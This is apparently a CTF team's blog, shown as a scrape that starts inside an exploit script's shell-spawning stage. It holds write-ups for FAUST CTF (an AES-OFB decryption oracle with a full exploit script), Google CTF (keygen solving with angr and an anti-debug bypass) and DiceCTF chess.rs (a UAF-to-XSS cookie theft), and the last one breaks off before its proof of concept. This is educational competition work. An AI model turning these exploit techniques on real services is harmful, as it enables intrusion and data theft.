linfo("STAGE 3: LOADER")

# linfo(disasm(loader))
sla("STAGE 2", bytes(loader))

# custom encoding:
#  hex starting a 'A'
#  and least significant nibble first

payload_enc = b''
for b in payload:
  lo = (b & 0xf) + 0x41
  hi = ((b & 0xf0) >> 4) + 0x41
  payload_enc += bytes((lo, hi))


linfo("STAGE 4: PAYLOAD")

sla('STAGE 3', payload_enc)

# linfo(disasm(payload))
linfo("payload len: 0x%x", len(payload))

ru("STAGE 4")

context.newline = b'\r\n'

while (out := rl().rstrip()) != b'[+] spawning shell' :
  linfo(out.decode())

linfo(out.decode())

#############################################
# FINAL STAGE: GET FLAG                     #
#############################################

linfo("FINAL STAGE")

sl('echo PWND')
sla('PWND', '/root/.flag_is_not_here/.flag_is_definitely_not_here/.genflag')


it() # or t.interactive()

DEF CON Quals 2024

2024-05-06T00:00:00+02:00

Last weekend we grouped up with our esteemed friends from other Austrian CTF teams and participated in this year's DEF CON CTF Qualifiers under the KuK Hofhackerei mantle. The event was again hosted by nautilus.institute. Thanks for many fun challenges. In the end we were able to reach the 21st place.

This year we tried a hybrid approach, with teams meeting up in Graz, Linz and Vienna and collaborating through Discord, which worked surprisingly well.

In Vienna we met up again at SBA Research. Some people even had the motivation and stayed there for the whole event, which took 48 hours from Saturday 02:00 to Monday 02:00 CEST. Hat's off to that.

Monthly Meetup Monday

2023-10-31T00:00:00+01:00

Where: @SBA Research (Floragasse 7, 1040 Wien, 5th Floor)
When: Monday, 06.11.2023, 18:30 (CET)
What:
- Talk: Pwning with Python (intro to coding/automating exploits)
- Plans for saarCTF and Attack/Defense infrastructure

FAUST CTF 2023 - image-galoisry

2023-10-05T00:00:00+02:00

Introduction

The service image-galoisry is a flask web server accompanied by a web GUI. On the website, users can create new image galleries, which are safeguarded by a password. Following gallery creation, users have the option to upload images, with each image undergoing encryption with AES. Notably, these galleries, while publicly accessible, only display encrypted files for download. However, should a user possess the password for a specific gallery, they have the option to instruct the website to perform a decryption of the selected file prior to initiating the download process.

To identify the flags, the CTF provided the gallery name and the flag image name as flag ids.

Vulnerability and Exploit

In the file imagecrypto.py the AES mode of operation to encrypt the images is Output Feedback Mode (OFB). This mode makes AES work like a stream cipher where a pseudo one time pad is xor'd with the sensitive information. Therefore decryption is just enrypting the file once more.

The flaw with this approach in this context is that if we are able to upload the encrypted image again, the encrypted file on the server is then the original plaintext image.

But to exploit this vulnerability we have to generate the same keystream. For this we need the application to use the same key and IV as used in the original encryption.

Luckily the key is based on the gallery, so we just have to upload the image to the same gallery again, to have the same key.

The IV is a bit trickier as it is based on the filename and no duplicate file names are allowed on the server.

To solve this we found a vulnerability in the sanitize_input function of main.py. This function strips non ascii characters and leaves those that conform to r'[\w\s\-\.]'. This striped filename is then used to generate the IV.

We can use this to our advantage and upload a file with a filename that already exists on the server but with a appended non ascii character.

e.g.

Original: filename.png
Altered: filenameö.png

Because the duplicate filename check is performed before stripping, the application considers this a new file, but for the generation of the IV the non ascii character is stripped and the IV is the same as in the original.

With this trick we turned the server into a decryption oracle.

Obfuscation

Just uploading the flag image and using the decryption oracle has the problem that everybody now has access to the decrypted images without finding the vulnerability themselves.

To mitigate this, we uploaded a white image instead to gain access to the keystream. We then downloaded this "encrypted" image and XOR'd it with the encrypted flag locally, leaving other teams guessing instead of piggybacking on our exploit.

Mitigation

Use of a different mode of operation. We used Cipher Feedback Mode (CFM) which incorporates the plaintext in the cipherstream state and has the advantage that it doesn't need to use padding. Therefore encryption and decryption aren't the same operation anymore.

Another possible mitigation would be to use the unsanitized filename in the IV calculation.

Pictures for us

When decrypting the pictures we realised that the flag was a string in a picture.

We manually extracted the first flag by hand and submitted for first blood. This isn't feasible for all the other flags and therefore we need an automated way to extract the flags. OCR to the rescue!

Flag OCR

Initial OCR with tesseract

At first we just used the open source OCR tool tesseract on the decrypted picture (which was initially color inverted). The results where not satisfying and led in the end to more or less 0 valid flags. There were quite some wrong recognized characters. The next step was to add the list of allowed characters as option to the tesseract call: tessedit_char_whitelist=/+_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789.
With this constraint the results where only minimally better. We searched for ways how to improve the OCR results and found good tips in the tesseract documentation.

Therefore, we needed to prepare the picture to improve the OCR. The picture was cropped, the colors inverted and converted to gray scale, because black/white did not work very well, when checking manually.

convert -crop 250x16+70+80 -fuzz 10% -fill 'rgb(30,29,27)' -opaque 'rgb(198,155,102)' out.png result.png - thx astra for the initial imagemagick magic =D

With those improvements the OCR was still not that good and gave us around ~50-70 flags in 2-3 hours.

Recovering the base image

During the time we had the idea to recover the base image, that is used to create the flag. We saved all recovered flag images.

The concept

As the flag characters in the inverted picture are white (works with the orignal picture too, just invert the described logic), we can rebuild the inverted base picture by comparing RGB values. The white color has a RGB value of 255,255,255. Therefore, every pixel in the picture that has a lower RGB value must be part of the original picture. Due to the fact, that the used flag-font was not monospace, the width of the flag string in the picture was variable. This made it easier to reconstruct the base image, because a monospaced font will probably have some shared pixels when overlapping all characters.
We used one flag picture as a basis to reconstruct the base picture. With our script we compared all pixels of the basis picture with all gathered flag pictures and replaced the pixel if it was not white.

#!/bin/env python3

from PIL import Image
import os                                                                   
import glob                    

# code stolen, oh I mean borrowed, and adapted from https://stackoverflow.com/a/51724367
fixedfile_name = "fixing.png"

# loop through all existing flag images (we had over 2k)
for checkfile in list(glob.glob('*_out.png')):                   
    img = Image.open(checkfile)
    fixingfile = Image.open(fixedfile_name)
    # loop through x and y coordinates of the picture
    for y in range(img.height):
        for x in range(img.width):
            value = img.getpixel((x, y))
            fixingfile_val = fixingfile.getpixel((x,y))
            # only check if the R value is smaller than in our original picture
            if value[0] < fixingfile_val[0]:
                #print(value)
                fixingfile.putpixel((x, y), value)
            #print(value)

    fixingfile.save(fixedfile_name)

Running the script with around 2000 pictures recovered the base picture:

OCR improvement++

XORing the recovered base image with the downloaded flag picture and inverting the color resulted in a white picture with the flag in a black font.

#!/bin/env python3

import numpy as np
from PIL import Image, ImageOps

# code borrowed for science and hacking: https://stackoverflow.com/a/54400116

# Open images
im1 = Image.open("fixing.png")
im2 = Image.open("flagffdf8f01d2244cf3_out.png")

# Make into Numpy arrays
im1np = np.array(im1)*255
im2np = np.array(im2)*255

# XOR with Numpy
result = np.bitwise_xor(im1np, im2np).astype(np.uint8)


result = ImageOps.invert(Image.fromarray(result))
result.save('OK_INVERTED.png')

Now we have a clean image that we can "properly" OCR with tesseract! We crop it with imagemagick and then run tesseract OCR on the image. It was also discovered that upscaling the picture size improved the OCR result.

        flagpart = os.popen(f"convert -crop 260x20+70+78 -size 1000 OK_INVERTED.png - | tesseract -c tessedit_char_whitelist=/+_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789  --psm 8 --oem 1 stdin -").read()
        print(f"FAUST_Q1RGLSJO{flagpart}")

The OCR results where still not that great. But compared to our initial solution we could extract 200-220 additional correctly submitted flags.

Exploit PoC

It's ugly, but who has time for beautiful code during an Attack/Defense CTF anyway?

#!/bin/env python3
#from Crypto.Cipher import AES
#from Crypto.Util.Padding import pad
from PIL import Image
import numpy as np
import json
import requests
from io import BytesIO
import sys
import os
import time

def main():
    # get exploit parameters    
    try:
        ip, port, team_id = sys.argv[1:4]
    except ValueError:
        print("error")
        exit(1)

    flag_ids = []
    if len(sys.argv) > 4:
        flag_ids = sys.argv[4:]

    exploit(ip, port, team_id, flag_ids)

def exploit(ip, port, team_id, flag_ids):

    i = 0
    print(flag_ids)
    for flag_id in flag_ids:

        #client = requests.session()

        flag_id = json.loads(flag_id)
        gallery = flag_id["gallery"]
        filename = flag_id["filename"]
        print("flag_id", flag_id)

        file2 = filename.split(".")[0]+"ö.png"

        print("Url:", f"http://[{ip}]:{port}/gallery/{gallery}/download/{filename}")
        response = requests.get(f"http://[{ip}]:{port}/gallery/{gallery}/download/{filename}")
        #print(response.content)
        image1 = Image.open(BytesIO(response.content))
        image1np = np.array(image1)

        height, width, channels = image1np.shape
        print("Image:", height, width)

        ref_image = Image.new("RGB", (width, height), "white")

        #upload ref image

        image_byte_array = BytesIO()
        ref_image.save(file2, format='PNG')


        print(f"http://[{ip}]:{port}/gallery/{gallery}/upload")
        #files= {'userfile': (name_img, exploit_file,'multipart/form-data') }
        files = {
            'mediafile': (file2, open(file2, 'rb'),'image/png')
        }
        response = requests.post(f"http://[{ip}]:{port}/gallery/{gallery}/upload", files=files)
        print(response.status_code)
       # print(response.content)

        #download encrypted ref image

        response = requests.get(f"http://[{ip}]:{port}/gallery/{gallery}/download/{file2}")
        print(response.status_code)
        print(response.content)
        image2 = Image.open(BytesIO(response.content))
        image2np = np.array(image2)

        result = image1np ^ image2np

        # reshape converted image values into image shape
        deserialized_bytes = np.frombuffer(result, dtype=np.uint8)
        converted_image_data = np.reshape(deserialized_bytes, newshape=(height, width, channels))

        # return converted image
        outimage =  Image.fromarray(converted_image_data, mode='RGB')


        ####### INSERT TESSERACT HERE #######
        outimage.save(f"out{i}.png")
        i+=1
        flagpart = os.popen(f"convert -crop 260x20+70+78 -size 1000 OK_INVERTED.png - | tesseract -c tessedit_char_whitelist=/+_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789  --psm 8 --oem 1 stdin -").read()
        print(f"FAUST_Q1RGLSJO{flagpart}")

    print(f"XOR'd result saved to out{i-1}.png")

       # python3 exploit-image.py fd66:666:1::2 5005 1 '{"gallery": "149bb3ab1dbf41da20a89e9e06c1c68f", "filename": "flag5d5ced5835a02094.png"}'

      # python3 exploit-image.py fd66:666:186::2 5005 1 '{"gallery": "6e5aceabdd6e5cdff9e3d4f7d1df6e52", "filename": "flag8ceaa9da9a67e0d2CG7NdQ.png"}'

if __name__ == "__main__":
    main()

Personal comment on the challenge by Hetti

Our CTF collegues from saarsec shared their strategy in the Discord channel after the CTF. They invested quite some work into manually annotating characters for their OCR

and it lead to only ~150 flags in total

I can share this feeling. Although, I must admit, it was still an interesting and challenging task to solve from an engineering point of view.

Thanks to the FAUST CTF organizers for the awesome CTF!

PS:
We are looking forward to saarCTF 2023

Update 2024-02-05

Late but still, we want to update this blog post with an addition by the challenge author.

There was another vulnerability hidden in the image upload functionality:

In particular, when an image is uploaded inmain.py it is encrypted with the following function call:

encrypted_image = convertImage(image, "encrypt", gallery_password, sanitize_password(encrypted_file_name))

The interesting function for this vulnerability is sanitize_password():

# pads passwords to multiples of 16 bytes for AES
def sanitize_password(password):

    password = password[:16].encode()
    if len(password) % 16 != 0:
        password = pad(password, 16)
    return password

The function sanitize_password() cuts every filename down to 16 characters, which means one could upload the flag image again and just extend the filename by a few characters in order to gain the same IV for encryption/decryption.

Google CTF 2023 - oldschool

2023-07-18T00:00:00+02:00

Google CTF 2022 presented us with oldschool, a typical, as the name suggests, oldschool crackme with an ncurses terminal interface. The goal of the challenge was to write a keygen, which would be able to generate keys for a list of users provided by the CTF organizers. The official and detailed writeup is available here, which goes through the intended solution of manually reverse engineering the key verification algorithm. However, since we are researchers (and most importantly, too lazy to manually reverse engineer the key verification), we took a look at the binary and decided that this must be solvable using symbolic execution. Tl;dr, yes, it is indeed possible, but our angr skills were a bit rusty and it took us a bit to get to the solution.

Initial Overview of the Binary

To start off, we took a look at what we were dealing with and saw that we were provided with a 32-bit ELF binary. To avoid having to pull in old 32-bit dependencies on our host system, we used the i386/debian Docker image and installed libncurses6, as the binary wouldn't start without it. Running it for the first time, we were then presented with the following error message:

root@699a7aa1afd8:/oldschool# ./oldschool 
[!] Error. ASSERT_EQ failed!

This didn't really help us a lot. Was this an error message from ncurses, or was this part of the oldschool binary itself? The string cannot be found in the binary directly, but we quickly realized that all relevant strings in the binary have been obfuscated. After every call to functions from libncurses, we could see decoding of error strings like this:

bVar17 = 0;
local_18 = &stack0x00000004;
iVar7 = initscr();
if (iVar7 == 0) {
  endwin();
  FUN_00012a08();
  for (local_98 = 0; local_98 < 0x11; local_98 = local_98 + 1) {
    FUN_0002bd72();
    uVar5 = FUN_0002bd96();
    puVar8 = (undefined *)FUN_0002bd72();
    *puVar8 = uVar5;
  }
  puVar8 = (undefined *)FUN_0002bd72();
  *puVar8 = 0;
  FUN_0002bdc6();
  FUN_000129b6();
  for (local_9c = 0; local_9c < 0xe; local_9c = local_9c + 1) {
    FUN_0002bcfc(auStack_2858);
    uVar5 = FUN_0002bd20(local_2867);
    puVar8 = (undefined *)FUN_0002bcfc(auStack_2858);
    *puVar8 = uVar5;
  }
  puVar8 = (undefined *)FUN_0002bcfc(auStack_2858);
  *puVar8 = 0;
  pcVar9 = (char *)FUN_0002bd50(auStack_2858);
  fprintf(_stderr,pcVar9);
                  /* WARNING: Subroutine does not return */
  exit(-1);
}
iVar7 = cbreak();
if (iVar7 != 0) {
  /* ... */
  fprintf(_stderr,pcVar9);
                  /* WARNING: Subroutine does not return */
  exit(-1);
}
iVar7 = curs_set();
/* ... */

Looking at the decompiled code (and also the CFG of the function) reveals function calls, whose value is checked in an if condition followed by some code looping, which we assumed to be the code that prints the error message. In order to get the program to run, we realized that it needed the correct TERM variable to be set for libncurses, as this was a common problem when getting these programs to run:

export TERM=xterm-256color

While we were working on manually noting down the function calls between the chunks of error printing code, we were at the same time running the code through ltrace, in order to track the executed dynamic library calls. During manual analysis of the decompiled code, we stumbled upon the following software interrupt (namely int 0x80, a syscall in x86 Linux):

pcVar2 = (code *)swi(0x80);
iVar7 = (*pcVar2)();
*(int *)(iStack_2900 + 0x32c) = -iVar7;
local_28 = local_74;
while (local_28 = local_28 + 1, local_28 <= local_74 + 0x11) {

We didn't check what this syscall did for now, but noted it in the back of our minds, as it seemed extremely out of place for the binary to manually perform a syscall. So we went on the play around with ltrace in the hopes we could find something that would narrow down the search window for looking for meaningful stuff within the main function. And we did, as the ltrace contained the following:

[0x56567f01] strlen("thisistheusername               "...)
[0x56567f61] newwin(7, 50, 34, 88)                        
[0x56567f96] newwin(7, 50, 35, 89)                        
[0x56568181] box(0x565b85a8, 0, 0, 89)                    
[0x5656835a] wbkgd(0x565b74e8, 1312, 0, 89)               
[0x5655714c] strlen("thisisthepassword")

We can see that strlen is called two times here, once for the username and once for the password, with ltrace thankfully giving us the instruction pointer for instruction following the strlen (we disabled ASLR using echo 0 | sudo tee /proc/sys/kernel/randomize_va_space so that ltrace would always give us the same addresses). Checking the strlen XRefs in Ghidra, we can click through and find the two respective function calls with the username being checked in the main function and the password being checked in another one.

*(int *)(puVar8 + -0x10) = local_90;
*(undefined4 *)(puVar8 + -0x14) = 0x22f01;
local_58 = strlen(*(char **)(puVar8 + -0x10));

The strlen takes puVar8 + -0x10 as argument, which is set earlier to local_90 which is where our username is located. Looking for other occurrences of local_90 leads us to this piece of code:

*(undefined4 **)(puVar8 + -0xc) = &local_28e9;
*(int *)(puVar8 + -0x10) = local_90;
*(undefined4 *)(puVar8 + -0x14) = 0x2353b;
iVar7 = FUN_0001212a();
if (iVar7 == 1) {

Ghidra does not really show this nicely, due to the arguments being placed on the stack, but FUN_0001212a actually takes two parameters, one of them being the username. We can also see that the function return value is checked for 1, quickly looking at the ltrace output shows us that the else branch is taken (the return value is not 1) if our password is false. So we can assume that this function takes username and password, returns 1 if the password is correct and 0 if the password is incorrect. Peeking into the function confirms this, as we can see the password strlen that we previously identified within our ltrace output:

uStack_270 = 0x1213b;
sVar2 = strlen(param_2);
if (sVar2 == 29) {

This also already gives us a hint that the password should have a length of 29 characters. The function only has 200 lines of decompiled C code (which allows us to ignore the rest of the 7000 lines of decompiled C code of the main function). Reading on shows us some more relatively simple to reverse infos about the password:

if ((((local_20 == 5) || (local_20 == 0xb)) ||
      (local_20 == 0x11)) || (local_20 == 0x17)) {
  if (param_2[local_20] != '-') {
    return 0;
  }
}

From this code we can see that every 5th character of the password is supposed to be a -. For every other character, the following is executed:

local_29 = '\0';
for (i = 0; (int)i < 0x20; i = i + 1) {
  FUN_000120da(local_b3,&local_71);
  for (j = 0; j < 0x20; j = j + 1) {
    puVar3 = (undefined *)FUN_0002b8d6(auStack_92,j);
    local_25d = FUN_0002b8fa(local_b3,*puVar3,j);
    puVar3 = (undefined *)FUN_0002b8d6(auStack_92,j);
    *puVar3 = local_25d;
  }
  puVar3 = (undefined *)FUN_0002b8d6(auStack_92,0x20);
  *puVar3 = 0;
  iVar5 = FUN_0002b92a(auStack_92);
  if (iVar5[i] == password[local_20]) {
    iVar6 = local_24 / 5;
    iVar7 = local_24 % 5;
    local_24 = local_24 + 1;
    local_118[iVar6 * 5 + iVar7] = i;
    local_29 = '\x01';
    break;
  }
}
if (local_29 != '\x01') {
  return 0;
}

The most interesting line here is iVar5[i] == password[local_20], which effectively ensures that the other characters of the password are only valid if they are part of the lookup table iVar5. Checking with GDB, we saw that this lookup table stays the same (despite being recreated every iteration), corresponding to:

23456789ABCDEFGHJKLMNPQRSTUVWXYZ

This means that this string is as password that passes all checks for the formatting:

23456-789AB-CDEFG-HJKLM-NPQRS

Now at this point we looked at the rest of the code and figured that we were too lazy to reverse it by hand and thought that angr should be able to easily solve this automatically. This seemed reasonable as the structure of the function lends itself well for solving, since we have a username and password as parameter, and 0 or 1 as feedback if the combination is valid or not. Also, all loops appear to be bounded given the input limits and there is nothing crazy happening that would cause us a headache when trying symbolic execution.

First Steps with Angr

Our first attempt with angr was to create a call_state at the function of interest, with parameters provided by us, and then exploring to the location in the function where 1 is returned. This looked something like that:

check_addr = proj.loader.min_addr + 0x212a
password = PointerWrapper(claripy.BVS('password', 0x1e * 8),
    buffer=True)
username = PointerWrapper(b'gdwAnDgwbRVnrJvEqzvs\x00', buffer=True)
state = proj.factory.call_state(
    check_addr, username, password,
    prototype='int password_check(char *username, char *password)')

simgr = proj.factory.simgr(state)
val_addr = proj.loader.min_addr + 0x29a8 
simgr.explore(find=val_addr)

Now, we haven't touched angr in forever, and we're not sure if that is how you actually use the PointerWrapper. We tried to run this, and it worked, but it didn't terminate within a reasonable amount of time. Debugging this a little, we realized that we already had issues passing the first password check loop iteration, even when constraining the password to the correct characters. We realized, that we were likely missing out on state that would be initialized before the function is called, but letting the whole program run in angr would most likely not yield satisfying results. Due to the ncurses interface of the application, we were also not sure how well we can control the program automatically/from the outside, so using angr inbuilt concolic execution techniques might not have worked.

Concolic Execution

So our main way of thinking was: given a program in GDB, can we dump its state and use that with angr? If you think "wow that sounds cool", we have to disappoint you a bit, because we didn't end up doing that exactly, but we found something that was sufficient. After searching for GDB angr integrations and not being able to find something recent that works, we thought of whether we could somehow make use of avatar2, which we knew from previous research. While this does not have direct angr integration, angr does have a module which allows us to use avatar2 with the GDB backend, called Symbion. So using Symbion from angr, so that we can use avatar2, so that we can finally achieve our goal of syncing GDB state with angr.

To start of, we start oldschool in a GDB server and then connect to it using the Symbion avatar2 target:

avatar_gdb = AvatarGDBConcreteTarget(
    avatar2.archs.x86.X86,
    '127.0.0.1',
    12345,
    'gdb'
)

Then, we set up angr as usual, creating an entry state and explore to the address offset 0x2747. We picked this offset, as it is located within the function right before username state and password state is mixed together, meaning this is the last possible location for us to replace the password with symbolic variables if we want to solve for it.

p = angr.Project(
    './oldschool',
    concrete_target=avatar_gdb,
    use_sim_procedures=True
)

entry_state = p.factory.entry_state()
entry_state.options.add(angr.options.SYMBION_SYNC_CLE)
entry_state.options.add(angr.options.SYMBION_KEEP_STUBS_ON_SYNC)

target_addr = BASE_ADDRESS + 0x2747
simgr = p.factory.simgr(entry_state)
simgr.use_technique(Symbion(find=[target_addr]))
exploration = simgr.run()

So far so good. If we just run gdbserver 0.0.0.0:12345 ./oldschool in our container and start the angr script, the password prompt of the oldschool binary will show up. Upon entering the password, our script successfully explores the binary to the specified location and returns us a state, great! Now we can go ahead and extend our script to introduce symbolic variables for solving. To this end, we take the value from the ebp register and subtract 0x114, which corresponds to the start address of the (substituted) password on the stack, which we determined from Ghidra. We know the length of the password without the separating - is 25, and that every character of the password has been substituted with a 32-bit number, which corresponds to the index of the respective password character in the array of allowed characters. For each of these 25 characters, we create a 32 bit symbolic variable. Because we know that the lookup dictionary of valid characters is 32 characters long, we can also add a constraint to highlight that the symbolic variable cannot be initialized with values bigger than 32. Finally, we write the symbolic variables to the memory and save them for later:

# Previous state we reached through concrete execution (Symbion)
state = exploration.found[0]

# Defining symbolic vars
symbolic_vars = []
password_base = state.regs.ebp - 0x114
for i in range(25):
    svar = state.solver.BVS(f'pw{i}', 8 * 4)
    state.add_constraints(claripy.ULT(svar, 0x20))
    state.mem[password_base + i * 4].uint32_t = svar
    symbolic_vars.append(svar)

Now we want to explore to the location in the program, where 1 is returned, indicating a correct password:

target_addr = BASE_ADDRESS + 0x29a8
simgr = p.factory.simgr(state)
simgr.explore(find=target_addr)

We start the GDB server and run the angr script again, but after entering our password, angr seems to crash due to memory areas being presumably not mapped. Our guess as to why this was happening was that maybe the base address for the symbolic execution was not the same as for the concrete execution. After some research, we found that this bug is an open issue referenced here. The issue can ultimately be circumvented by specifying the base address of the concrete execution when creating the angr project:

BASE_ADDRESS = 0x56555000 
p = angr.Project(
    './oldschool',
    concrete_target=avatar_gdb,
    use_sim_procedures=True,
    load_options={'main_opts': {'base_addr': BASE_ADDRESS}}
)

After setting the base address and repeating the GDB server/angr script procedure, the symbolic execution takes a few seconds and we get a valid state, yay! This means there is definitely at least one solution for the symbolic variables that we specified and that we can now read out this solution, by asking the solver to evaluate our symbolic variables:

state = simgr.found[0]
concrete_vals = []
for svar in symbolic_vars:
    val = state.solver.eval(svar, cast_to=bytes)
    concrete_vals.append(val)

The values we get back are the 32-bit integers after substitution of the password characters with the indices of the character dictionary. In order to get the actual password, we need to substitute it again, split it into chunks of 5, and add - between the chunks:

def chunks(l, n):
    for i in range(0, len(l), n): 
        yield l[i:i + n]

lookup = '23456789ABCDEFGHJKLMNPQRSTUVWXYZ'
c = chunks(''.join([lookup[x[-1]] for x in concrete_vals]), 5)
print('-'.join(c))

Which gives us the following for the first username in the list we have to crack (gdwAnDgwbRVnrJvEqzvs):

GL3EX-E3WHZ-EJ57M-UEPYX-62PK7

Anti-Debug

Of course, we go ahead and try if that actually works and... it does not? After some trial and error, we figured out that the password does work - if we run the binary using the gdbserver. This means we are dealing with some anti-debugging and made us remember the syscall we found before. We guessed that this was the ptrace syscall using the well known ptrace(PTRACE_TRACEME, 0, 1, 0) trick, since this will fail if the program is already being ptraced (like when we run it in GDB). While we could just patch that check out, we decided it would be nice to go ahead and just use the existing angr/Symbion/avatar2 flow to intercept ptrace/change the return value. So instead of exploring to the location from where we want to do symbolic execution, we explore to the location of the ptrace call and change the return value. To this end, we set the return register to 0, and then tell Symbion to concretize the changes (i.e. copying them to the GDB target):

# Exploring until after the ptrace call
entry_state = p.factory.entry_state()
entry_state.options.add(angr.options.SYMBION_SYNC_CLE)
entry_state.options.add(angr.options.SYMBION_KEEP_STUBS_ON_SYNC)

target_addr = BASE_ADDRESS + 0xaf79
simgr = p.factory.simgr(entry_state)
simgr.use_technique(Symbion(find=[target_addr]))
exploration = simgr.run()

# Exploring until the location where we want to do symbolic execution
state = exploration.found[0]
state.regs.eax = 0

target_addr = BASE_ADDRESS + 0x2747
simgr = p.factory.simgr(state)
simgr.use_technique(Symbion(find=[target_addr],
    register_concretize=[('eax', state.regs.eax)]))
exploration = simgr.run()

After that, we continue our symbolic execution as before. After evaluating it, we now get this password for the first username:

2UTQS-QFE2D-Z3P9K-6CFM9-TRRH5

We try it out and it works!

Now the challenge requires us to do this for 49 more usernames, then concatenate everything together and hash it, to give us the flag. We didn't automate this process as the terminal interface was a bit of a pain to automate (we were too lazy), so we just sat down and did it 49 times manually.

While this is a rather anticlimactic ending for a writeup (the flag is just a hash, so there's really no funny or cool note to end this on), it shows just how useful symbolic execution can be when applied to reversing challenges. This rings especially true, when the challenge requires a more complex state that cannot easily be handled with angr, mirroring conditions of real-world programs where the part you want to analyze is often very deep down in the program. Our full angr script solution can be found here.

DiceCTF 2023 - chess.rs

2023-02-05T00:00:00+01:00

TL;DR

chess.rs is a pwn(/web) challenge using Rust with WebAssembly. The goal is to extract the cookies of the admin browser bot.

We have a rust webserver providing two pages index.html (graphical frontend) and engine.html ("backend", runs the wasm logic). index.html loads engine.html as an iframe. They send messages through .postMessage and receive them through the window.onmessage event listener.

There is a hidden parameter in the init function on engine.html that allows setting a custom board position via FEN. If this parameter is used a UAF (use after free) is triggered on successive init calls with the same id which allows leaking values in the heap. We can use this vulnerability to leak the original game id.

This can be used to hijack the communication with index.html and cause an XSS with a malicious error message.

We can exploit this by creating a malicious website that opens chessrs.mc.ax with window.open. After that ,we can communicate with index.html and engine.html through .postMessage to leak the id and cause and XSS, which leaks the SameSite=Lax Cookies of the adminbot.

The whole exploit is at the end of the page.

Introduction

chess.rs is a pwn (and web) challenge which was ranked in the middle of the DiceCTF 2023 pwn challenges. The following description was given

🚀 blazingfast rust wasm chess 🚀

(the flag is in the admin bot's cookie)

chessrs.mc.ax

Admin Bot

The Information: "(the flag is in the admin bot's cookie)", made us guess that we will probably need to find an XSS on the website. But first, let us look at the websites.

Visiting chessrs.mc.ax gave us the following website:

It's a chessboard that allows you to play chess with yourself, after trying different stuff we can conclude:

Only legal moves are allowed (even castling, en passant)
checkmate isn't shown, but the losing site isn't allowed to make any moves
Move history is tracked in the white box to the right
pressing restart reloads the pages

Looking at the traffic we see that moves aren't sent to a remote server, therefore everything is handled client-side, this also explains white the board is reset even after a soft reload.

and Admin Bot gave us this form:

which visits any website with these parameters:

GET / HTTP/1.1

Host: 0x6fe1be2.requestcatcher.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5412.0 Safari/537.36

Sadly we can't conclude what browser engine is used through User-Agent :,).

Source Code

First, we look at the file structure:

.:
    build.sh
    Dockerfile

    ./app:
        Cargo.lock
        Cargo.toml

        ./app/src:
            main.rs

        ./app/static:
            engine.html
            index.html

            ./app/static/js:
                chess_wasm_bg.wasm
                chess_wasm.js
                game.js

            ./app/static/mp3:
                ...
            ./app/static/img:
                ...
            ./app/static/css:
                ...

    ./chess-wasm:
        Cargo.lock
        Cargo.toml

        ./chess-wasm/src:
            game.rs
            handler.rs
            lib.rs

Looking at build.sh we see that the rust webserver runs in ./app and ./chess-wasm hold the chess logic in rust, which is compiled into web assembly and served to the client.

#!/bin/sh
# use if you want to build everything and test locally
cd chess-wasm && wasm-pack build --no-typescript --release --target web && cd ..
cd app && cargo build --release && cd ..
cp chess-wasm/pkg/chess_wasm* app/static/js/
cd app && cargo run --release && cd ..

we also recognize that the actual web server is ./app/src/main.rs.

#[tokio::main]
async fn main() {
    ...
    let spa = SpaRouter::new("/", "static");
    ...
}

By looking at the webserver code we realise that all resources in ./app/static are served through the web server, which proves that everything is truly done on the client.

Let us take a closer look at the served resources on the website:

./app/static:
    engine.html
    index.html

    ./app/static/js:
        chess_wasm_bg.wasm
        chess_wasm.js
        game.js

There are only two .html pages:

engine.html

<!DOCTYPE html>
<html>
    <body>
        <script type="module">
            import * as chess from "/js/chess_wasm.js";
            await chess.default();

            window.onmessage = (e) => {
                if (typeof e.data !== "object") return;
                e.source.postMessage(chess.handle(JSON.stringify(e.data)), e.origin);
            };

            window.top.postMessage("ready", "*");
        </script>
    </body>
</html>

and index.html

<!DOCTYPE html>
<html lang="en">

<head>
    ...
</head>

<body>
    ...
    <script src="/js/game.js" type="module"></script>
    <iframe src="/engine.html" id="engine"></iframe>
</body>

</html>

One interesting discovery is that index.html includes engine.html as an iframe. In addition, the Rust WebAssembly Code is only imported by engine.html. index.html imports game.js.

game.js

// sorry for the spaghetti

...
const engine = $("#engine")[0].contentWindow;
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
const id = [...crypto.getRandomValues(new Uint8Array(16))].map(v => alphabet[v % alphabet.length]).join("");
...
const send = (msg) => engine.postMessage({ ...msg, id }, location.origin);
...

window.onmessage = (e) => {
    if (e.data === "ready") {
        send({ type: "init"});
        return;
    }

    if (e.data.id !== id) return;

    if (e.data.type === "init") {
        board = Chessboard('chessboard', {
            ...
            onDragStart: (source) => ...,
            onDrop: (source, target) => {
                ...
                send({ type: "play_move", data: action });
            }, 
            onMouseoutSquare: () => {...},
            onMouseoverSquare: (pos) => {...},
        });

        send({ type: "get_state" });
    }

    if (e.data.type === "play_move") {
        send({ type: "get_state" });
    }

    if (e.data.type === "error") {
        $("#error").html(e.data.data);
        send({ type: "get_state" });
    }

    if (e.data.type === "get_state") {
        state = e.data.data;
        board.position(state.current_fen, true);
        $("#history").text(state.history.map((v, i) => `${i+1}. ${v}`).join("\n"));
        ...
    }
};

This code is very important. We see that all communication to the chess logic happens through the <iframe src="engine.html" /> and the window.onmessage event listener.

Data is sent to the engine through const send = (msg) => engine.postMessage({ ...msg, id }, location.origin); using the postMessage interface. Whereas Request always follow this schema

{
    // securely generated on startup
    id: '...',
    type: 'init' | 'get_state' | 'play_move',
    // optional
    // depends on type
    data: '...' 
}

All responses are captured by window.onmessage and follow this schema:

{
    ...
    data: 'ready' | {
        type: 'play_move' | 'get_state' | 'error',
        // optional
        data: '...' // depends on type
    }
}

Another important discovery is that messages from the iframe directly get written into the open page (for type error or get_state), which makes it possible to create an XSS if we manage to somehow hijack this communication interface. The only check preventing us from directly triggering the window.onmessage event listener is this check: if (e.data.id !== id) return;.

XSS PoC

